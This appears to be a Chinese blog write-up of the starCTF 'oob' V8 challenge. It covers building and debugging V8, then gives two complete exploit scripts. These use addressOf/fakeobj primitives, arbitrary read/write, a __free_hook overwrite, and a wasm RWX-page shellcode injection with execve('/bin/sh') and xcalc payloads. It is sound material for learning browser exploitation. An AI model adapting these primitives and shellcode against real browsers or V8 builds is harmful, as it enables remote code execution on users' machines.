自从数字经济2019线下赛之后,体验了一把小白难度的Real World,虽然一道题没出来,但是至少给学习带来了前进的方向

遂想要复现当时赛场的一道chrome的题目,于是着手开始学习v8的利用

starCTF 的 oob很简单,是个不错的选择

题目链接:Github

参考:https://www.freebuf.com/vuls/203721.html

建议先把大佬的文章看完,然后本文权当补充以及自我总结

下载编译v8

因为墙的缘故,下载v8会很烦人。在我感叹利用朋友搭的VPS也不能在国内愉快地下载v8的源码的时候,不得已买了个vpn,我才发现,原来下载慢只是钱不到位

下载depot_tools

1
2
$ git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
$ echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.bashrc

下载V8

1
2
$ fetch v8
$ gclient sync

安装所需依赖

1
2
$ cd v8
$ build/install-build-deps.sh

导入gdb脚本

1
2
3
$ #在 ~/.gdbinit 中添加
$ source /path/to/v8/tools/gdbinit
$ source /path/to/v8/tools/gdb-v8-support.py

编译

通常的教程的编译过程是这样的

1
2
3
4
5
$ tools/dev/v8gen.py x64.release
$ #release版本
$ ninja -C out.gn/x64.release d8
$ #debug版本
$ ninja -C out.gn/x64.debug d8

此法不管release版本还是debug版本都不适合做题,因为release版本无法使用v8的指令,而debug版本在运行漏洞函数的时候会因为dcheck而报错终止。解决办法就是设置好编译选项,或者干掉dcheck的宏(我没成功)

于是我找到了另一种方法

1
$ tools/dev/gm.py x64.release

gm.py脚本中定义了一些编译选项,我发现它们刚好可以符合外面的要求,即在release版本中使用它定义的一些gdb指令

关于debug

1
$ path/to/d8 --allow-natives-syntax path/to/js

输入 --allow-natives-syntax参数可以使用v8的一些调试函数,作为新手,我接触到的有

1
2
%DebugPrint(obj);
%SystemBreak();

函数作用顾名思义

关于exp

寻常方法

在本文开始的链接中,作者共介绍了两种方法,一种是寻常pwn题的思路,即读取got地址,读出libc地址,算出libc函数地址,最后覆盖__free_hook或者__malloc_hook

exp

该exp对应的偏移均是在out.gn/x64.release/d8中计算的偏移,即通常编译过程的release版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
var buf = new ArrayBuffer(0x10);
var float64 = new Float64Array(buf)
var bigUint64 = new BigUint64Array(buf)

function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}

function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}

function hex(n)
{
return n.toString(16).padStart(16, "0");
}

var floatArray = [1.1];
var obj = {"a":1.1};
var objArray = [obj];

var floatMap = floatArray.oob();
var objMap = objArray.oob();

function addressOf(obj)
{
objArray[0] = obj;
objArray.oob(floatMap);
let addr = f2i(objArray[0]) - 1n;
objArray.oob(objMap);
return addr
}

function objOf(addr)
{
floatArray[0] = i2f(addr + 1n);
floatArray.oob(objMap);
let obj = floatArray[0];
floatArray.oob(floatMap);
return obj
}

var fake_array = [
floatMap,
i2f(0n),
i2f(0x41414141n),
i2f(0x1000000000n)
]

fake_array_addr = addressOf(fake_array);
fake_obj_addr = fake_array_addr + 0x20n + 0x10n;
fake_obj = objOf(fake_obj_addr);

function write(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 1n);
fake_obj[0] = i2f(data);
console.log("[+] write 0x" + hex(data) + " to 0x" + hex(addr));
}

function read(addr)
{
fake_array[2] = i2f(addr - 0x10n + 1n);
let data = f2i(fake_obj[0]);
console.log("[+] read from 0x" + hex(addr) + " get 0x" + hex(data));
return data;
}

var get_elf_addr = [1n, 2n];
var code_addr = read(addressOf(get_elf_addr.constructor) + 0x30n);
var elf_addr = read(code_addr + 0x41n);

// 在对象的map中的constructor结构的code属性指向内存的固定偏移处有elf的text段的地址

console.log("[+] elf addr 0x" + hex(elf_addr));
var elf_base = elf_addr - 0xaeae60n;
console.log("[+] elf base 0x" + hex(elf_base));
//%SystemBreak();
var free_got = elf_base + 0xDB1708n;
var free_addr = read(free_got);
console.log("[+] free address 0x" + hex(free_addr));
var libc_base = free_addr - 0x844f0n;
console.log("[+] libc base 0x" + hex(libc_base));
var sys_addr = libc_base + 0x45390n;
console.log("[+] system address 0x" + hex(sys_addr));
var free_hook = libc_base + 0x3c67a8n;
console.log("[+] free hook 0x" + hex(free_hook));

var buffer = new ArrayBuffer(0x10);
var view = new DataView(buffer);
write(addressOf(buffer) + 0x20n, free_hook);
view.setFloat64(0, i2f(sys_addr), true);


function get_shell()
{
let get_shell_buffer = new ArrayBuffer(0x1000);
let get_shell_dataview = new DataView(get_shell_buffer);
get_shell_dataview.setFloat64(0, i2f(0x676e6f6d652d6361n));
get_shell_dataview.setFloat64(8, i2f(0x6c63756c61746f72n));
get_shell_dataview.setFloat64(16, i2f(0x0000000000000000n));
// system(gnome-calculator)
}

get_shell();

// 由于get_shell函数内部的数据是局部变量,所以在执行完函数的时候会释放,就会触发__free_hook

注意

该exp我只在d8中实现了,在题目所给的chrome中,可能由于编译选项的不同,导致偏移不同,但我目前也没有办法得到在chrome中v8的代码段地址

所以这种方法具有很大的局限性,只能自娱自乐

覆写wasm代码段

该方法是利用了wasm代码段可读可写可执行的特性。但是在生成wasm代码的时候,不能够调用libc的函数,所以只能先导入wasm代码之后再找到它的地址,再把它修改成我们的shellcode来执行

wasm代码在线生成网址:https://wasdk.github.io/WasmFiddle/

编写shellcode

由于无法确定libc基址,所以采用系统调用的方式来执行shellcode

shell.asm

1
2
3
4
5
6
7
8
9
10
11
12
global _start
_start:
xor rax, rax
mov al, 0x3b
mov rdi, 0x68732f6e69622fff
shr rdi, 8
push rdi
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall
ret

执行

1
$ nasm -f elf64 ./shell.asm

就得到了shell.o文件

执行

1
$ ld -o shell shell.o

就得到了名为shell的可执行文件,执行它,测试我们编写的shellcode是否正确

执行

1
$ objcopy -O binary ./shell.o code

就得到了一个名为code的文件,该文件中只有汇编代码,没有其他无用的信息

执行

1
$ xxd -i ./code

就会得到

1
2
3
4
5
6
unsigned char __code[] = {
0x48, 0x31, 0xc0, 0xb0, 0x3b, 0x48, 0xbf, 0xff, 0x2f, 0x62, 0x69, 0x6e,
0x2f, 0x73, 0x68, 0x48, 0xc1, 0xef, 0x08, 0x57, 0x48, 0x89, 0xe7, 0x48,
0x31, 0xf6, 0x48, 0x31, 0xd2, 0x0f, 0x05
};
unsigned int __code_len = 31;

如果是内联在c代码中,还可以用以下的形式来测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned char __code[] = {
0x48, 0x31, 0xc0, 0xb0, 0x3b, 0x48, 0xbf, 0xff, 0x2f, 0x62, 0x69, 0x6e,
0x2f, 0x73, 0x68, 0x48, 0xc1, 0xef, 0x08, 0x57, 0x48, 0x89, 0xe7, 0x48,
0x31, 0xf6, 0x48, 0x31, 0xd2, 0x0f, 0x05
};
unsigned int __code_len = 31;

typedef int (*CODE)();

int main()
{
((CODE)__code)();
}

但是我测试的时候失败了,原因是__code位于bss段,该段不可执行

编写exp

先写一段无关的wasm代码,将其导入

然后在内存中就会存在一块可读可写可执行的区域,将shellcode放到这片区域然后执行wasm的函数指针就会触发shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
var buf = new ArrayBuffer(0x10);
var float64 = new Float64Array(buf)
var bigUint64 = new BigUint64Array(buf)

function f2i(f)
{
float64[0] = f;
return bigUint64[0];
}

function i2f(i)
{
bigUint64[0] = i;
return float64[0];
}

function hex(n)
{
return n.toString(16).padStart(16, "0");
}

var floatArray = [1.1];
var obj = {"a":1.1};
var objArray = [obj];

var floatMap = floatArray.oob();
var objMap = objArray.oob();

function addressOf(obj)
{
objArray[0] = obj;
objArray.oob(floatMap);
let addr = f2i(objArray[0]) - 1n;
objArray.oob(objMap);
return addr
}

function objOf(addr)
{
floatArray[0] = i2f(addr + 1n);
floatArray.oob(objMap);
let obj = floatArray[0];
floatArray.oob(floatMap);
return obj
}

var fake_array = [
floatMap,
i2f(0n),
i2f(0x41414141n),
i2f(0x1000000000n)
]

fake_array_addr = addressOf(fake_array);
fake_obj_addr = fake_array_addr + 0x20n + 0x10n;
fake_obj = objOf(fake_obj_addr);

function write(addr, data)
{
fake_array[2] = i2f(addr - 0x10n + 1n);
fake_obj[0] = i2f(data);
console.log("[+] write 0x" + hex(data) + " to 0x" + hex(addr));
}

function read(addr)
{
fake_array[2] = i2f(addr - 0x10n + 1n);
let data = f2i(fake_obj[0]);
console.log("[+] read from 0x" + hex(addr) + " get 0x" + hex(data));
return data;
}

var wasmCode = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80,
0x80, 0x00, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,
0x00, 0x01, 0x00, 0x04, 0x84, 0x80, 0x80, 0x80, 0x00, 0x01, 0x70, 0x00,
0x00, 0x05, 0x83, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01, 0x06, 0x81,
0x80, 0x80, 0x80, 0x00, 0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02,
0x06, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x02, 0x00, 0x04, 0x6d, 0x61,
0x69, 0x6e, 0x00, 0x00, 0x0a, 0x8a, 0x80, 0x80, 0x80, 0x00, 0x01, 0x84,
0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x2a, 0x0b
]); //做任何题这个数组都可以照搬过去

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var func = wasmInstance.exports.main;

var shared_info_addr = read(addressOf(func) + 0x18n) - 1n;
/*
pwndbg> job 0x2e0fdf0a24d9
0x2e0fdf0a24d9: [Function] in OldSpace
- map: 0x182d33284379 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x2e0fdf082109 <JSFunction (sfi = 0x800a2fc3b29)>
- elements: 0x0cb773240c71 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x2e0fdf0a24a1 <SharedFunctionInfo 0>
- name: 0x0cb773244ae1 <String[#1]: 0>
- formal_parameter_count: 0
- kind: NormalFunction
- context: 0x2e0fdf081869 <NativeContext[246]>
- code: 0x361a8e502001 <Code JS_TO_WASM_FUNCTION>
- WASM instance 0x2e0fdf0a22e1
- WASM function index 0
- properties: 0x0cb773240c71 <FixedArray[0]> {
#length: 0x0800a2fc04b9 <AccessorInfo> (const accessor descriptor)
#name: 0x0800a2fc0449 <AccessorInfo> (const accessor descriptor)
#arguments: 0x0800a2fc0369 <AccessorInfo> (const accessor descriptor)
#caller: 0x0800a2fc03d9 <AccessorInfo> (const accessor descriptor)
}
*/
var wasm_exported_function_data_addr = read(shared_info_addr + 8n) - 1n;
/*
pwndbg> job 0x2e0fdf0a24a1
0x2e0fdf0a24a1: [SharedFunctionInfo] in OldSpace
- map: 0x0cb7732409e1 <Map[56]>
- name: 0x0cb773244ae1 <String[#1]: 0>
- kind: NormalFunction
- function_map_index: 144
- formal_parameter_count: 0
- expected_nof_properties: 0
- language_mode: sloppy
- data: 0x2e0fdf0a2479 <WasmExportedFunctionData>
- code (from data): 0x361a8e502001 <Code JS_TO_WASM_FUNCTION>
- function token position: -1
- start position: -1
- end position: -1
- no debug info
- scope info: 0x0cb773240c61 <ScopeInfo[0]>
- length: 0
- feedback_metadata: 0xcb773242a39: [FeedbackMetadata]
- map: 0x0cb773241319 <Map>
- slot_count: 0
*/
var wasm_instance_addr = read(wasm_exported_function_data_addr + 0x10n) - 1n;
/*
pwndbg> job 0x2e0fdf0a2479
0x2e0fdf0a2479: [WasmExportedFunctionData] in OldSpace
- map: 0x0cb773245879 <Map[40]>
- wrapper_code: 0x361a8e502001 <Code JS_TO_WASM_FUNCTION>
- instance: 0x2e0fdf0a22e1 <Instance map = 0x182d33289789>
- function_index: 0
*/
var code_addr = read(wasm_instance_addr + 0x88n);
/*
pwndbg> telescope 0x2e0fdf0a22e0 20
00:0000│ 0x2e0fdf0a22e0 —▸ 0x182d33289789 ◂— 0x2500000cb7732401
01:0008│ 0x2e0fdf0a22e8 —▸ 0xcb773240c71 ◂— 0xcb7732408
... ↓
03:0018│ 0x2e0fdf0a22f8 —▸ 0x7f1309fb0000 ◂— 0x0
04:0020│ 0x2e0fdf0a2300 ◂— 0x10000
05:0028│ 0x2e0fdf0a2308 ◂— 0xffff
06:0030│ 0x2e0fdf0a2310 —▸ 0x56121b0e6998 —▸ 0x7ffc3b495e40 ◂— 0x7ffc3b495e40
07:0038│ 0x2e0fdf0a2318 —▸ 0xcb773240c71 ◂— 0xcb7732408
08:0040│ 0x2e0fdf0a2320 —▸ 0x56121b16ae00 ◂— 0x0
09:0048│ 0x2e0fdf0a2328 —▸ 0xcb7732404d1 ◂— 0xcb7732405
0a:0050│ 0x2e0fdf0a2330 ◂— 0x0
... ↓
0e:0070│ 0x2e0fdf0a2350 —▸ 0x56121b16ae20 ◂— 0x0
0f:0078│ 0x2e0fdf0a2358 —▸ 0xcb7732404d1 ◂— 0xcb7732405
10:0080│ 0x2e0fdf0a2360 —▸ 0x56121b0dccd0 —▸ 0xcb773240751 ◂— 0x6200000cb7732407
11:0088│ 0x2e0fdf0a2368 —▸ 0x1fa397b38000 ◂— movabs r10, 0x1fa397b38260 \/\* 0x1fa397b38260ba49 \*\/
12:0090│ 0x2e0fdf0a2370 —▸ 0x1c02c944fc79 ◂— 0x710000182d332891
13:0098│ 0x2e0fdf0a2378 —▸ 0x1c02c944fee9 ◂— 0x710000182d3328ad
*/
console.log("[+] wasm code address 0x" + hex(code_addr));

var buffer = new ArrayBuffer(0x100);
var data_view = new DataView(buffer);
var data_view_addr = addressOf(data_view);

var shellcode = new Uint8Array([
0x48, 0x31, 0xc0, 0xb0, 0x3b, 0x48, 0xbf, 0xff, 0x2f, 0x62, 0x69, 0x6e,
0x2f, 0x73, 0x68, 0x48, 0xc1, 0xef, 0x08, 0x57, 0x48, 0x89, 0xe7, 0x48,
0x31, 0xf6, 0x48, 0x31, 0xd2, 0x0f, 0x05
]);

var backing_store_addr = read(data_view_addr + 0x18n) + 0x20n - 1n;
console.log("[+] backing_store_addr 0x" + hex(backing_store_addr));
write(backing_store_addr, code_addr);

for(var i = 0;i < shellcode.length; i++)
{
data_view.setUint8(i, shellcode[i], true);
}
func();

这样执行就可以get shell了

当然,一般做题的时候会让你弹出计算器,将shellcode改为如下即可:

1
2
3
4
5
6
7
8
9
10
11
12
var shellcode = new Uint8Array([
0x48, 0xb8, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x50, 0x48,
0xb8, 0x2e, 0x79, 0x62, 0x60, 0x6d, 0x62, 0x01, 0x01, 0x48, 0x31, 0x04,
0x24, 0x48, 0xb8, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x50,
0x48, 0x89, 0xe7, 0x68, 0x3b, 0x31, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01,
0x01, 0x01, 0x01, 0x48, 0xb8, 0x44, 0x49, 0x53, 0x50, 0x4c, 0x41, 0x59,
0x3d, 0x50, 0x31, 0xd2, 0x52, 0x6a, 0x08, 0x5a, 0x48, 0x01, 0xe2, 0x52,
0x48, 0x89, 0xe2, 0x48, 0xb8, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x50, 0x48, 0xb8, 0x79, 0x62, 0x60, 0x6d, 0x62, 0x01, 0x01, 0x01,
0x48, 0x31, 0x04, 0x24, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e, 0x48, 0x01,
0xe6, 0x56, 0x48, 0x89, 0xe6, 0x6a, 0x3b, 0x58, 0x0f, 0x05
]);

这段代码相当于执行了execve('/usr/bin/xcalc','xcalc','DISPLAY=:0')

我现在也不晓得为啥是这样

总之直接用execve('/usr/bin/xcalc',NULL,NULL)是不行的

注意

若想在chrome中弹出计算器,一定要用path/to/chrome --no-sandbox这样的方式打开,不然无法正常执行shellcode

其他大佬的骚操作

泄露elf基地址,libc地址,再通过libc地址泄露栈地址,然后构造ROP链,接着劫持返回地址……

这种方法不适用于我所遇到的情况……即chrome中的v8的各种偏移与我编译的不一样……

总结

这道题似乎并没有什么难度,但是对于我这样的菜鸟来说又充满了挑战与趣味性(v8编译的问题我就整了3天)

接下来就准备看一下队友要到的大佬的数字经济的exp,尝试去复现了

话说今天的360个人赛的pwn真简单……但是我也意识到了除了pwn其他的我啥也不太了解……

是太专了么?